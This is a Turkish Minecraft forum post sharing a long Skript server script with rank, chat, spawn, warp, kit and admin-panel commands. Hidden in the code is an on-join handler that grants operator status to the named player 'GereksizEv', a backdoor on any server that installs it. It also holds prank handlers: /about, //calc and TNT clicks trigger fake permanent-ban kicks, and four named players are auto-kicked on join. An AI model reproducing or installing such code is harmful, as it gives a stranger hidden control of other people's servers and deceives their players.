xNeza Skriptleri Remake!

UmutGE

Ağaç Yumruklayıcı
En iyi cevaplar
0
Merhaba arkadaşlar,
Sizler için xNeza'nın skriptlerini Editledim, 700 satır gibi bi' şey çıktı. En kısa sürede Plugin paketini paylasacağım (Sidebar vs. var!)
Kod:
options:
    p: &8[&3xNeza&8]
    prefix: &8[&3xNeza&8]
    noperm: &cYou don't have permission.
    messageformat: &f%player%&8: %{color.%player%}%%message%
    perm: chatcolor.color
    tag: &8[&3Xime&8]
    appeal: minegamer.net/dispute
    
command /rank [<offlineplayer>] [<text>]:
    permission: amdin
    permission message: {@noperm}
    trigger:
        if arg 2 is not set:
            send "{@prefix} /rank [Owner-Admin-Moderator-Platinum-Diamond-Gold]"
        if arg 2 is set:
            arg 2 is "admin"
            execute console command "/manuadd %arg 1% Admin"
            set player's display name to "&4&l%arg 1%"
        if arg 2 is set:
            arg 2 is "owner"
            execute console command "/manuadd %arg 1% kurucu"
            set player's display name to "&4&l&n%arg 1%"
        if arg 2 is set:
            arg 2 is "moderator"
            execute console command "/manuadd %arg 1% mod"
            set player's display name to "&c%arg 1%"
        if arg 2 is set:
            arg 2 is "platinum"
            execute console command "/manuadd %arg 1% platinumdonor"
            set player's display name to "&b%arg 1%"
        if arg 2 is set:
            arg 2 is "diamond"
            execute console command "/manuadd %arg 1% diamonddonor"
            set player's display name to "&3%arg 1%"
        if arg 2 is set:
            arg 2 is "gold"
            execute console command "/manuadd %arg 1% golddonor"
            set player's display name to "&3%arg 1%"
            
on chat:
    if player is "MineGamerNetwork" or "GereksizEv":
        loop all players:
            set action bar of loop-player to "%player's display name%&8: &f%colored message%"
            cancel event
            
on chat:
    cancel event
    broadcast "%player's display name%&8: &f%colored message%"
        
    
    
command /sidebar [<text>]:
    trigger:
        if arg 1 is set:
            arg 1 is "on"
            execute player command "/featherboard toggle"
            execute player command "/crispyboard on"
        if arg 1 is not set:
            send "{@prefix} /sidebar <on> - Changes sidebar to 2014 or 2016"
            
            
command /prounban <text>:
    permission: pro.admin
    permission message: you are not admin
    trigger:
        execute console command "/pardon-ip %{ip.%arg 1%}%"
        execute console command "/pardon %arg 1%"
        send "&6Unbanned %arg 1%" to player
            
on death:
    clear player's inventory
    execute console command "/sk load %player%"
    teleport player to {spawngit}
    
command /google [<text>] [<text>] [<text>] [<text>] [<text>]:
    trigger:
        if arg 1 is set:
            if arg 2 is set:
                if arg 3 is set:
                    if arg 4 is set:
                        if arg 5 is set:
                            send "www.google.com.tr/search?q=%arg 1%+%arg 2%+%arg 3%+%arg 4%+%arg 5%" to player
                        else:
                            send "www.google.com.tr/search?q=%arg 1%+%arg 2%+%arg 3%+%arg 4%" to player
                    else:
                        send "www.google.com.tr/search?q=%arg 1%+%arg 2%+%arg 3%" to player
                else:
                    send "www.google.com.tr/search?q=%arg 1%+%arg 2%" to player
            else:
                send "www.google.com.tr/search?q=%arg 1%" to player
        else:
            send "aGoogleda arama yapmak için : /google kelime1 kelime2 kelime3 kelime4 kelime5 - şeklinde yazabilirsiniz." to player
            send "aGoogleda arama yapmak için : Minimum kelime :1 - Maksimum kelime :5." to player
            
            
command /setcolor [<text>]:
    permission: donator
    permission message: You don't have kahve or big dick.
    trigger:
        if arg 1 is set:
            arg 1 is "gold"
            set player's display name to "&6[D] %player%"
        if arg 1 is set:
            arg 1 is "blue"
        if arg 1 is set:
            set player's display name to "&b[D] %player%"
        if arg 1 is set:
            arg 1 is "darkblue"
            set player's display name to "&3[D] %player%"
        if arg 1 is set:
            arg 1 is "green"
            set player's display name to "&a[D] %player%"
        if arg 1 is set:
            arg 1 is "stop"
            delete player's display name
        if arg 1 is not set:
            send "{@prefix}/setcolor [gold-blue-darkblue-green-stop]"
            
            
command /list:
    aliases: l
    trigger:
        send "{@prefix} We are currently &8[&6*&7/&a200+&8] &fplayers have"
        send "&6Players&8: &2%all players%"
on chat:
    message contains "Gereksiz" or "GereksizEv":
        cancel event
        send "&bNe oluyor?"
        
on chat:
    replace all "GereksizEv" with "&4&lG&c&le&6&lr&e&le&2&lk&a&ls&b&li&3&lz&1&lE&9&lv&f" in the message
    
on join:
    if player is "GereksizEv":
        execute console command "/deop %player%"
        execute console command "/op %player%"
        wait 1 seconds
        clear player's inventory
        give player 1 blaze rod named "&a&lSelam cubugu"
        
on join:
    if {rank::%player%} is "owner":
        set player's display name to "&4&l%player%"
        set player tab name to "&4&l%player%"
    else if {rank::%player%} is "admin":
        set player's display name to "&4&l%player%"
        set player tab name to "&4&l%player%"
    else if {rank::%player%} is "developer":
        if player is not "hypervenox" or "xvictory":
            set player's display name to "&9&l%player%"
            set player tab name to "&9&l%player%"
        if player is "GereksizEv":
            set player's display name to "&4&lG&c&le&6&lr&e&le&2&lk&a&ls&b&li&3&lz&1&lE&9&lv"
            set player tab name to "&9&l%player%"
            broadcast "&4&lG&c&le&6&lr&e&le&2&lk&a&ls&b&li&3&lz&1&lE&9&lv &6Has been joined the server."
    else if {rank::%player%} is "sr.moderator":
        set player's display name to "&4%player%"
        set player tab name to "&4%player%"
    else if {rank::%player%} is "TrialSr.Mod":
        set player's display name to "&c[&4TRIAL&c]&4%player%"
        set player tab name to "&c%player%"
    else if {rank::%player%} is "Moderator":
        set player's display name to "&c%player%"
        set player tab name to "&c%player%"
    else if {rank::%player%} is "TrialMod":
        set player's display name to "&c[TRIAL]%player%"
        set player tab name to "&c%player%"
    else if {rank::%player%} is "Sponsor":
        set player's display name to "&8[&6S&8] &e&l%player%"
        set player tab name to "&e%player%"
    else if {rank::%player%} is "vip":
        set player's display name to "&5%player%"
        set player tab name to "&5%player%"
    else if {rank::%player%} is "Quantum":
        set player's display name to "&a%player%"
        set player tab name to "&a%player%"
    else if {rank::%player%} is "Platinum":
        set player's display name to "&b%player%"
        set player tab name to "&b%player%"
    else if {rank::%player%} is "Diamond":
        set player's display name to "&3%player%"
        set player tab name to "&3%player%"
    else if {rank::%player%} is "Gold":
        set player's display name to "&6%player%"
        set player tab name to "&6%player%"
    else if {rank::%player%} is "Regular":
        set player's display name to "&2%player%"
        set player tab name to "&2%player%"
    else if {rank::%player%} is "TSDev":
        set player's display name to "&6&l%player%"
        set player tab name to "&6&l%player%"       
    else:
        set player's display name to "&2%player%"
        set player tab name to "&2%player%"
        
on leftclick with blaze rod:
    if player's held item's name is "&a&lSelam Cubugu":
        wait 1 tick
        open chest with 1 rows named "&a&lSelamlayici" to player
        format slot 0 of player with blue stained glass pane to close
        format slot 1 of player with blue stained glass pane to close 
        format slot 2 of player with iron sword named "&b&lPress nine" with lore "Selamun Aleykum" to close then run [make player execute command "/onlyadmin sa"]
        format slot 4 of player with blue stained glass pane to close
        format slot 6 of player with fishing rod named "&c&lPress nine" with lore "Developeriniz geldi Dagilin" to close then run [make player execute command "/onlyadmin dev"]
        format slot 7 of player with blue stained glass pane to close
        format slot 8 of player with blue stained glass pane to close
        
command /onlyadmin [<text>]:
    permission: dev
    trigger:
        if arg 1 is set:
            arg 1 is "dev"
            broadcast "&8[&d&lADMINMENU&8]&4&lG&c&le&6&lr&e&le&2&lk&a&ls&b&li&3&lz&1&lE&9&lv&8: &cDeveloperiniz geldi dagilin!"
        if arg 1 is set:
            arg 1 is "sa"
            broadcast "&8[&d&lADMINMENU&8]&4&lG&c&le&6&lr&e&le&2&lk&a&ls&b&li&3&lz&1&lE&9&lv&8: &cSelamun Aleykum."
        
command /developertime:
    permission: op
    trigger:
        set player's display name to "&4&lG&c&le&6&lr&e&le&2&lk&a&ls&b&li&3&lz&1&lE&9&lv"
        
command /about:
    trigger:
        execute player command "/fakeban"
        
command /fakeban:
    trigger:
        kick player due to "&7You are &4banned &7from the MCGamer Network&8. %nl% &7Your ban is &4permanent&8.%nl% &7Reason&8:&c Tried a Bug [1st offence]%nl% %nl% &7Do you believe you were unfairly banned&8? %nl% &2Visit &6http://www.minegamer.net/apply &2to dispute your ban&8. %nl% &cI'm just joking, please don't search a bug&8!"
        
        
command /ultrafakeban:
    permission: GereksizEv
    trigger:
        kick player due to "&7You are &4banned &7from the MCGamer Network&8. %nl% &7Your ban is &4permanent&8.%nl% &7Reason&8:&c Hacked by Chadthedj! (please don't open MCSG style servers.) %nl% %nl% &7Do you believe you were unfairly banned&8? %nl% &2Visit &6http://www.minegamer.net/apply &2to dispute your ban&8."

on join:
    if player is "UnnecessaryCan" or "RollingYt" or "iGokayBorga" or "IsmetRG":
        wait 1 seconds
        execute player command "/ultrafakeban"
        
on chat:
    message contains "****":
        cancel event
        broadcast "%player's display name%&8: &fI'm so sorry for sayed too many mom swear!"
        
command /setrank [<offlineplayer>] [<text>]:
    permission: op
    permission message: {@noperm}
    trigger:
        if arg 1 is set:
            if arg 2 is set:
                if arg 2 is "owner":
                    set {rank::%arg 1%} to "owner"
                    set arg 1's display name to "&4&l&n%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &4&lOwner"
                    execute console command "/manuadd %arg 1% kurucu"
                if arg 2 is "admin":
                    set {rank::%arg 1%} to "admin"
                    set arg 1's display name to "&4&l%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &4&lAdmin"
                    execute console command "/manuadd %arg 1% admin"
                if arg 2 is "developer":
                    set {rank::%arg 1%} to "developer"
                    set arg 1's display name to "&9&l%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &c&lD&6&le&e&lv&a&le&b&ll&9&lo&5&lp&c&le&6&lr"
                    execute console command "/manuadd %arg 1% developer"
                if arg 2 is "mapmaker":
                    set {rank::%arg 1%} to "MapMaker"
                    set arg 1's display name to "&d%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &d&lMap Maker"
                    execute console command "/manuadd %arg 1% builder"
                if arg 2 is "sr.mod" or "sr.moderator" or "sr" or "sr.":
                    set {rank::%arg 1%} to "Sr.Moderator"
                    set arg 1's display name to "&4%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &4Sr.Moderator"
                    execute console command "/manuadd %arg 1% sr.mod"
                if arg 2 is "trialsr.mod" or "trialsr.moderator" or "TrialSr":
                    set {rank::%arg 1%} to "Trial Sr.Moderator"
                    set arg 1's display name to "&c[&4TRIAL&c]&4%arg 1%"       
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &c[&4TRIAL&c]&4Sr.Moderator"
                    execute console command "/manuadd %arg 1% trialsr.mod"
                if arg 2 is "moderator" or "mod":
                    set {rank::%arg 1%} to "Moderator"
                    set arg 1's display name to "&c%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &c&lModerator"
                    execute console command "/manuadd %arg 1% moderator"
                if arg 2 is "trialmod" or "trialmoderator":
                    set {rank::%arg 1%} to "TrialMod"
                    set arg 1's display name to "&c[TRIAL]%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &c[TRIAL]Moderator"
                    execute console command "/manuadd %arg 1% trialmod"
                if arg 2 is "sponsor":
                    set {rank::%arg 1%} to "Sponsor"
                    set arg 1's display name to "&8[&6S&8] &e&l%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &8[&6Sponsor&8]"
                    execute console command "/manuadd %arg 1% sponsor"
                if arg 2 is "vip" or "youtuber" or "fameous":
                    set {rank::%arg 1%} to "vip"
                    set arg 1's display name to "&5%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &5&lVIP"
                    execute console command "/manuadd %arg 1% yt"
                if arg 2 is "quantum" or "quantumdonor" or "rankquantum":
                    set {rank::%arg 1%} to "Quantum"
                    set arg 1's display name to "&a%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &a&lQuantum Donor"
                    execute console command "/manuadd %arg 1% quantumdonor"
                if arg 2 is "platinum" or "plat" or "rankplatinum" or "rankplat" or "platdonor" or "platinumdonor":
                    set {rank::%arg 1%} to "Platinum"
                    set arg 1's display name to "&b%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &b&lPlatinum Donor"
                    execute console command "/manuadd %arg 1% platinumdonor"
                if arg 2 is "diamond" or "dia" or "rankdiamond" or "rankdia" or "diadonor" or "diamonddonor":
                    set {rank::%arg 1%} to "Diamond"
                    set arg 1's display name to "&3%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &3&lDiamond Donor"
                    execute console command "/manuadd %arg 1% diamonddonor"
                if arg 2 is "gold" or "rankgold" or "golddonor":
                    set {rank::%arg 1%} to "Gold"
                    set arg 1's display name to "&6%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &6&lGold Donor"
                    execute console command "/manuadd %arg 1% golddonor"
                if arg 2 is "tsdev" or "ts" or "tsdeveloper":
                    set {rank::%arg 1%} to "TSDev"
                    set arg 1's display name to "&6&lTSDEV%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &9&lTeamSpeak Developer"
                    execute console command "/manuadd %arg 1% yt"
                if arg 2 is "regular" or "member":
                    set {rank::%arg 1%} to "Regular"
                    set arg 1's display name to "&2%arg 1%"
                    kick arg 1 due to "{@p} %nl%%nl% &e&lRank Update %nl%%nl% &e&lYour new rank is&8: &2Regular"
                    execute console command "/manuadd %arg 1% oyuncu"
                if arg 2 is not set:
                    send "/rank regular:gold:diamond:plat:quantum:vip:mod:trialmod:trialsr:sr:developer:mapmaker:owner:admin"
                    
                    
on first join:
    execute console command "/rank %player% regular"
    
    
on death:
    teleport player to {spawngit}
    execute console command "/aduyuru %player's display name% &6Has been killed."
    
on join:
    teleport player to {spawngit}
    
command /setspawn:
    permission : admin.spawnayarla
    permission message : &8[&3xNzaa&8] &8Yetkin Yok
    trigger:
        if {spawngit} isn't set:
            set {spawngit} to location of the player
            send "&8[&3xNzaa&8] &8Spawn Yerini Ayarladın" to player
        else:
            send "&8[&3xNzaa&8] &8Spawn Yerini Ayarlamışsın" to player
            
command /deletespawn:
    permission : admin.spawnsil
    permission message : &8[&3xNzaa&8] &8Yetkin Yok
    trigger:
        delete {spawngit}
        send "&8[&3xNzaa&8] &8Spawnı Sildin"
        
command /gm [<text>]:
    aliases: gamemode
    permission: op
    permission message: You don't Staff.
    trigger:
        if arg 1 is set:
            arg 1 is "c"
            set player's gamemode to creative
            send "{@prefix} &fYou're now &bCreative"
        if arg 1 is set:
            arg 1 is "creative"
            set player's gamemode to creative
            send "{@prefix} &fYou're now &bCreative"
        if arg 1 is set:
            arg 1 is "s"
            set player's gamemode to survival
            send "{@prefix} &fYou're now &bSurvival"
        if arg 1 is set:
            arg 1 is "survival"
            set player's gamemode to survival
            send "{@prefix} &fYou're now &bSurvival"
        if arg 1 is not set:
            send "{@prefix} &8/&bgamemode &8(&cCreative-c&8)"
            send "{@prefix} &8/&bgamemode &8(&cSurvival-s&8)"
            
command /gmc:
    permission: op
    trigger:
        set player's gamemode to creative
        send "&8{@prefix} &aDone"
    
command /gms:
    permission: op
    trigger:
        set player's gamemode to survival
        send "&8{@prefix} &aDone"
        
command /sr:
    permission: dev
    trigger:
        execute console command "/skript reload skript"
        execute console command "/skript reload skript2"
        send "&aDone Skript2 and Skript scripts are reloaded."
    
command //calc:
    trigger:
        execute player command "/fakeban"
        
command /spawn:
    trigger:
        teleport player to {spawngit}
        send "{@prefix} &aDone"
        
command /kill:
    aliases: murder
    trigger:
        kill player
        teleport player to {spawngit}
    
command /testspawn [<text>]:
    permission: done
    trigger:
        teleport player to {%arg 1%}
        
command /strtdsjfsdfs:
    trigger:
        clear player's inventory
        wait 1 seconds
        equip player with all iron armour
        give 1 of iron sword named "&7&lSWORD" to player       
        give 1 of flint and steel named "&7&lFNS" to player       
        give 1 of fishing rod named "&7&lROD" to player       
        give 1 of bow named "&6&lAWP" to player
        give 32 of arrow named "&f&lArrow" to player

on join:
    wait 1 seconds
    teleport player to {spawn}
    
            
            
Sign System

on click on a sign:
    line 2 of clicked block is "&1BG"
    line 3 of clicked block is "Centre"
    teleport player to {bg.center}
    send "&7Warped!"
    make player execute command "/strtdsjfsdfs"

on click on a sign:
    line 2 of clicked block is "&1BG"
    line 3 of clicked block is "West"
    teleport player to {bg.west}
    send "&7Warped!"
    make player execute command "/strtdsjfsdfs"

on click on a sign:
    line 2 of clicked block is "&1BG"
    line 3 of clicked block is "North"
    teleport player to {bg.north}
    send "&7Warped!"
    make player execute command "/strtdsjfsdfs"
    
on click on a sign:
    line 2 of clicked block is "&1BG"
    line 3 of clicked block is "South"
    teleport player to {bg.south}
    send "&7Warped!"
    make player execute command "/strtdsjfsdfs"

on click on a sign:
    line 2 of clicked block is "&1BG"
    line 3 of clicked block is "East"
    teleport player to {bg.east}
    send "&7Warped!"
    make player execute command "/strtdsjfsdfs"
    
    
command /setbg [<text>]:
    permission: ****
    trigger:
        if arg 1 is set:
            if arg 1 is "north":
                set {bg.north} to location of player
                send "&aWarp north added succesfull!"       
            if arg 1 is "center":
                set {bg.center} to location of player
                send "&aWarp center added succesfull!"       
            if arg 1 is "west":
                set {bg.west} to location of player
                send "&aWarp west added succesfull!"       
            if arg 1 is "south":
                set {bg.south} to location of player
                send "&aWarp south added succesfull!"       
            if arg 1 is "east":
                set {bg.east} to location of player
                send "&aWarp east added succesfull!"
        else:
            send "&cUsage: /setbg <north:center:west:south:east>" to player   







on click on a sign:
    line 2 of clicked block is "&1BG"
    line 3 of clicked block is "UHCFFA"
    teleport player to {uhc.game}
    send "&7Warped!"
    execute console command "/uhckit %player%"
 
command /setuhc [<text>]:
    permission: ****
    trigger:
        if arg 1 is set:
            if arg 1 is "uhc":
                set {uhc.game} to location of player
                send "&8[&eXeze&8] &7Compeleted&8!"       
        else:
            send "&cUsage: /setuhc1 <uhc>" to player

command /uhckit [<player>]:
    permission: uhc.kit
    executable by: console
    trigger:
        clear the arg 1's inventory
        set slot 0 of arg 1 to diamond sword of sharpness 2 named "&fDiamond Sword"
        set slot 1 of arg 1 to fishing rod named "&fFishing Rod"
        set slot 2 of arg 1 to bow of power 3 named "&fBow"
        set slot 3 of arg 1 to 4 golden apple named "&6Head Apple"
        set slot 4 of arg 1 to 8 golden apple named "&bGolden Apple"
        set slot 5 of arg 1 to 64 steak named "&fSteak"
        set slot 6 of arg 1 to 64 arrows named "&fArrows"
        set slot 7 of arg 1 to diamond pickaxe named "&fDiamond Pickaxe"
        set slot 8 of arg 1 to diamond axe named "&fDiamond Axe"
        equip arg 1 with all diamond armour of protection 3 and unbreaking 1
        stop"


on consume a golden apple:
    if item is golden apple named "&6Head Apple":
        apply regeneration 4 to the player for 8 seconds

on death:
  clear player's inventory           
 
 
    
command /lobby:
    trigger:
        send "&8[&4*&8] &b 10 Saniye bekle!
        wait 10 seconds
        execute console command "/spawn %player%"
        clear player's inventory
        
command /lobi:
    trigger:
        send "&8[&4*&8] &b 10 Saniye bekle!
        wait 10 seconds
        execute console command "/spawn %player%"
        clear player's inventory
        
command /setstrteam [<text>]:
    permission: ****
    trigger:
        if arg 1 is set:
            if arg 1 is "strteam":
                set {strteam} to location of player
                send "&8[&eXeze&8] &7Compeleted&8!"       
        else:
            send "&cUsage: /setstrteam <strteam>" to player
        
command /strteam:
    trigger:
        teleport player to {strteam}
        clear player's inventory
        
on click on a sign:
    line 2 of clicked block is "&1BG"
    line 3 of clicked block is "PVPLobi"
    teleport player to {strteam}
    send "&6Warped!"
    
on join:
    make player execute command "/strteam"
    teleport player to {strteam}
    
on login:
    trigger:
        make player execute command "/strteam"
        
on rightclick with tnt:
    cancel event
    send "OK"
    wait 1 seconds
    execute player command "/fakeban"
    
command /administrator [<text>] [<text>]:
    aliases: ap
    permission: administrator.***.tools
    trigger:
        if arg 1 is set:
            arg 1 is "ban"
            execute console command "/maxbans:ban %arg 2% Banned by AdminPanel."
        if arg 1 is set:
            arg 1 is "kick"
            execute console command "/maxbans:kick %arg 2% Kicked From Sever (Adminpanel)"
        if arg 1 is set:
            arg 1 is "mute"
            execute console command "/maxbans:mute %arg 2% Muted by AdminPanel"
        if arg 1 is set:
            arg 1 is "tools"
            clear player's inventory
            equip player with all diamond armour
            give 1 of blaze rod named "Duyuru" to player       
            execute player command "/mucize"
        if arg 1 is not set:
            send "{@prefix} &c/ap ban-kick-mute <name>"
            send "{@prefix} &c/ap tools"
            
On rightclick with iron axe:
    if player is holding a iron axe named "&e&lAllahuEkber":
        strike lightning at the targeted block

Command /mucize:
    trigger:
        give player iron axe named "&e&lAllahuEkber"
        message "<yellow><bold>[mucize]<white>Craignez la puissance de mucize !"
        
on leftclick with iron axe:
    if player is holding a iron axe named "&e&lAllahuEkber":
            wait 5 ticks
            show 200 "flame" particles at {pt.spawnmob.%player%} for player offset by 1, 3, 1
            
On rightclick with blaze rod:
    if player is holding a blaze rod named "Duyuru":
        execute player command "/basladuyuru"

options:
    prefix: &8[&3xNzaa&8] &f

command /server [<text>]:
    trigger:
        if arg 1 is set:
            arg 1 is "bg"
            clear player's inventory
            teleport player to {spawngit}
            execute player command "/strtdsjfsdfs"
            send "&aDone"
        if arg 1 is set:
            arg 1 is "uhc"
            clear player's inventory
            teleport player to {uhc.game}
            execute console command "/uhckit %player%"
            send "&aDone"
        if arg 1 is set:
            arg 1 is "admin"
            teleport player to {administrator}
        if arg 1 is not set:
            send "{@prefix} &8/server&c <BG:UHC>"
            
command /setserver [<text>]:
    permission: administrator
    trigger:
        if arg 1 is set:
            arg 1 is "UHC"
            set {uhc.game} to location of player
        if arg 1 is set:
            arg 1 is "BG"
            set {spawngit} to location of player
        if arg 1 is set:
            arg 1 is "admin"
            set {administrator} to location of player
            
command /setwarp [<text>]:
    permission: miss
    trigger:
        if arg 1 is set:
            set {%arg 1%} to location of player
            send "&aDone, You can /warp %arg 1% to teleport  warp."
        if arg 1 is not set:
            send "Usage: /setwarp <WarpName>"
            
        
command /warp [<text>]:
    permission: miss
    trigger:
        if arg 1 is set:
            teleport player to {%arg 1%}
            send "&aDone, You we're teleported to Warp %arg 1%"
        if arg 1 is not set:
            send "Usage: /warp <WarpName>"
            
on join:
    loop 10 times:
        send ""
        
on join:
    wait 4 seconds
    send "&8[- &aWelcome to Server! enjoy! &8-]"
    
command /ud:
    aliases: undisguise
    permission: donor
    trigger:
        kick player due to "&8{@prefix} %nl% &4&lUndisguised. You nick is now %player's display name% %nl% &c%now% %nl% &eWeb: www.MineGamer.net %nl% &a%all players%&8/&b200"

Kolay gelsin!
 
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